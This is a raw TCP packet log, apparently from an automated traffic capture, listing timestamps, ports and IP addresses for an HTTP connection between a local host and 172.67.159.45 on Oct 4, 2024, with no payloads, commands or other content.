Oct 4, 2024 04:28:03.941675901 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.941688061 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.941698074 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.941700935 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.941708088 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.941719055 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.941730976 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.941749096 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.941764116 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.941869974 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.941879988 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.941889048 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.941899061 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.941907883 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.941916943 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.941919088 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.941929102 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.941937923 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.941947937 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.941960096 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.941981077 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.941996098 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.942038059 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.942038059 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.942065954 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.942076921 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.942085981 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.942090988 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.942101002 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.942111015 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.942130089 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.942163944 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.942349911 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.942390919 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.942395926 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.942400932 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.942444086 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.942470074 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.942481041 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.942490101 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.942500114 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.942523003 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.942538023 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.942548037 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.942550898 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.942585945 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.942595005 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.942598104 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.942632914 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.942662001 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.942673922 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.942682981 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.942699909 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.942749023 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.942759991 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.942760944 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.944262981 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.944307089 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.944318056 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.944356918 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.944356918 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.944385052 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.944478035 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.944580078 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.944624901 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.944674015 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.944684029 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.944693089 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.944716930 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.944726944 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.023328066 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.023376942 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.023395061 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.023411989 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.023422956 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.023432970 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.023443937 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.023449898 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.023456097 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.023484945 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.023500919 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.023545980 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.023557901 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.023567915 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.023577929 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.023588896 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.023598909 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.023628950 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.023658991 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.031647921 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.031661987 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.031672955 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.031689882 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.031701088 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.031713009 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.031725883 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.031730890 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.031743050 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.031766891 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.031785965 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.032035112 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.032046080 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.032063007 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.032083035 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.032099962 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.032131910 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.032166004 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.032176971 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.032187939 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.032212973 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.032229900 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.032299042 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.032310009 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.032320023 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.032329082 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.032340050 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.032346964 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.032351017 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.032361031 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.032372952 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.032377958 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.032382965 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.032397985 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.032409906 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.032434940 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.033138990 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.033155918 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.033165932 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.033200026 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.033274889 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.033284903 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.033297062 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.033307076 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.033313990 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.033318043 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.033344984 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.033370972 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.033390045 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.033405066 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.033415079 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.033420086 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.033452988 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.033474922 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.033503056 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.033514023 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.033523083 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.033531904 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.033545017 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.033549070 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.033567905 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.033596992 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.033598900 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.033607006 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.033617973 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.033643961 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.033658028 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.033730984 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.033741951 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.033751011 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.033761978 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.033771992 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.033773899 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.033782005 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.033807993 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.033826113 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.033849955 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.033859968 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.033869982 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.033879042 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.033888102 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.033917904 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.033919096 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.033930063 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.033940077 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.033950090 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.033958912 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.033961058 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.033987999 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.034020901 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.034161091 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.034172058 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.034182072 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.034193039 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.034202099 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.034213066 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.034223080 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.034252882 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.034312010 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.034323931 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.034333944 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.034343958 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.034354925 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.034356117 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.034373999 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.034379959 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.034389973 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.034404039 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.034434080 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.034497976 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.034508944 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.034519911 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.034532070 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.034542084 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.034544945 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.034552097 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.034564018 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.034564018 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.034574986 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.034584999 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.034591913 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.034596920 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.034624100 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.034631968 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.034676075 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.034715891 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.034784079 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.034821987 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.034826994 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.034832954 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.034863949 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.034874916 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.034899950 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.034910917 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.034920931 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.034931898 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.034962893 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.034991026 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.035046101 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.035057068 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.035068035 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.035079002 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.035089970 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.035095930 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.035120010 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.035128117 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.035134077 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.035140038 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.035150051 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.035176039 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.035202026 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.036724091 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.036768913 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.036778927 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.036819935 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.036820889 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.036832094 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.036848068 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.036875010 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.036887884 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.036899090 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.036941051 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.115674973 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.115698099 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.115708113 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.115757942 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.115776062 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.115777969 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.115789890 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.115828037 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.115837097 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.115852118 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.115864038 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.115874052 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.115925074 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.115925074 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.115950108 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.115961075 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.115972042 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.115983009 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.116003036 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.116036892 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.116060019 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.116071939 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.116082907 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.116092920 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.116131067 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.116131067 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.124135017 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.124161959 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.124172926 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.124183893 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.124198914 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.124207973 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.124209881 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.124234915 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.124268055 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.124285936 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.124290943 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.124296904 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.124342918 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.124356985 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.124366999 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.124403954 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.124433041 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.124444962 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.124455929 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.124491930 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.124505043 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.124561071 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.124572039 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.124583006 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.124594927 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.124612093 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.124624014 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.124634981 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.124641895 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.124653101 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.124665976 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.124672890 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.124677896 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.124691963 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.124721050 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.124730110 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.124736071 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.124741077 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.124777079 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.124790907 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.125551939 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.125592947 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.125605106 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.125650883 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.125680923 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.125691891 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.125701904 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.125714064 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.125739098 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.125741959 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.125744104 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.125754118 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.125786066 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.125813007 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.125822067 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.125824928 CEST	80	49740	172.67.159.45	192.168.2.6
